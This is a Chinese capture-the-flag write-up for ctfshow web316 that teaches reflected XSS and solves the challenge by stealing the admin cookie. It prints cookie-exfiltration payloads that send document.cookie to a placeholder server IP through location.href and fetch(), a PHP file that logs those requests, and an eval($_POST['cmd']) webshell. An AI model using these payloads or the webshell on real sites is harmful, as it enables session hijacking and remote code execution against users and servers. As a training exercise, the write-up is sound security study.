ctfshow-web316

(感觉最近做的好多不是我现在这个阶段能啃下来的,然后发现web还有几大板块没怎么学过,因此先转到这些板块上来看,也是一篇从零开始的XSS, 然后这里有一块需要注意的是得用自己的服务器,然后网上看到有别的师傅的wp找了个xss平台之类的,没怎么具体了解过,个人感觉自己搞一个服务器还是挺划算的,【这里没有推广告的意思】我自己用的腾讯云的轻量应用服务器,新客户99一年,有时候搞活动还能再便宜,具体怎么搭建可以参考从0搭建RFI,如果搭建麻烦的话也可以先不进行搭建,只是作为一个中转的平台来运用)

一:前置知识

**跨站脚本(Cross-Site Scripting,XSS)**是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。【这篇就只讲反射型XSS】

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

例如一个服务器端代码:

php 复制代码
<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 
?>

代码直接引用了 name 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。

(316这里主要还是跟cookie窃取有关,这个放到后面再讲)

二:具体题目

1.初步尝试(x自己)

进去之后是这样一个页面:

这里直接给出了生成链接,那么就是反射型,我最开始构造的是这么一个:

css 复制代码
<script>alert(document.cookie)</script>

1 <script>...</script>

告诉浏览器:里面的是 JavaScript 代码,不是普通文字。


2 alert(...)

  • alert 是浏览器自带的函数

  • 作用:弹出一个对话框

常用于测试:
只要能弹窗,说明 JS 被执行了


3 document.cookie

  • document:当前网页

  • cookie:当前网站保存的 Cookie

也就是:读取当前用户在这个网站的 cookie 信息

总的来说就是**:在网页中执行一段 JS,弹窗显示当前网站的 Cookie**

但是这里明显有个问题:

这里显示说不是admin【最后面的那个admin是我之前自己搞了个user值为admin,但是没啥用】

这里拿视频里来说就是自己x了自己,但我感觉讲得有点怪怪的,望知道的师傅能解惑。

2.外部服务器应用(x别人)

(我用的是Ubuntu)

1)最直接的方法

先在服务器里开个监听:

bash 复制代码
python3 -m http.server 8000

然后在平台里输入:

css 复制代码
<script>
location.href='http://服务器IP:8000/?c='+document.cookie
</script>

location.href = ...

这一句的意思是: 让浏览器立刻跳转到这个 URL ,而"跳转"本身 = 一次 HTTP GET 请求

所以这整一句话就是**cookie 已经离开目标网站,到我们的服务器上了,**然后我们再在服务器上打开就能看到flag:

2)环境已经搭建情况下

我们首先要在服务器上写一个恶意文件,利用文件中写入文件的功能,将获取的cookie呈现在服务器文件中,直接一并展示了:

bash 复制代码
cd /var/www/html   //写到该目录下

nano x.php //写入恶意文件

<?php
file_put_contents("log.txt", $_SERVER['QUERY_STRING'] . PHP_EOL, FILE_APPEND);
echo "ok";
?>

touch log.txt
chmod 777 log.txt    //这里我新建一个log.txt写到这里面

如果写入文件正常的话访问**服务器IP/x.php?test=123,**会显示ok:

然后依旧使用我们之前的payload,点击生成链接后再回到服务器输入:

bash 复制代码
cat /var/www/html/log.txt

正常结果将会如下:

3)无中生有(可直接跳过不看)

这块我想的是视频里是连了蚁剑的,如果我也想连蚁剑的话恶意文件和payload就得这么写:

bash 复制代码
<?php 
$content = $_POST['c']; 
if(isset($content)){
    file_put_contents('log.txt',$content);
}else{
    echo 'no date input';
}

<script>
fetch('http://你的服务器IP/x.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'c=' + encodeURIComponent(document.cookie)
});
</script>

因为是post请求直接看不到,所以还得新建一个webshell:

php 复制代码
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
eval($_POST['cmd']);

后面因为某个页面回显搞了好久,其实环境配置是没有问题的,可以连上蚁剑:

然后在log.txt中可以找到flag【但我不确定是不是之前的方法留下来的,建议读者再自行尝试尝试】

三:总结

总之这里就是反射型XSS最经典的一个应用,通过这道题我们了解了最经典的payload的构造以及如何通过外部服务器进行cookie窃取【感觉这里有点像OBB】,最后面那个蚁剑连的我感觉是不太行的,因为最前面还有个test=123这么一个东西,但一口吃不成个胖子,这些还是以后慢慢研究好了。

相关推荐
网硕互联的小客服2 小时前
WIN系统和liunx系统如何构建自动化安全运维(DevSecOps)流程?
运维·自动化
hweiyu002 小时前
Linux 命令:ar
linux·运维
前端 贾公子2 小时前
release-it 使用指南
前端·javascript
切糕师学AI2 小时前
DevOps是什么?
运维·devops
江畔何人初2 小时前
理解容器挂载点
linux·运维·云原生
YMWM_2 小时前
cursor连接Ubuntu远程
linux·运维·ubuntu
Python-AI Xenon2 小时前
RHEL/CentOS 7.9环境中离线安装Telnet服务完整指南
linux·运维·telnet·rhel7.9
Trouvaille ~2 小时前
【Linux】进程信号(三):信号捕捉与操作系统运行原理
linux·运维·服务器·c++·操作系统·信号·中断
全栈技术负责人2 小时前
前端团队 AI Core Workflow:从心法到落地
前端·人工智能·状态模式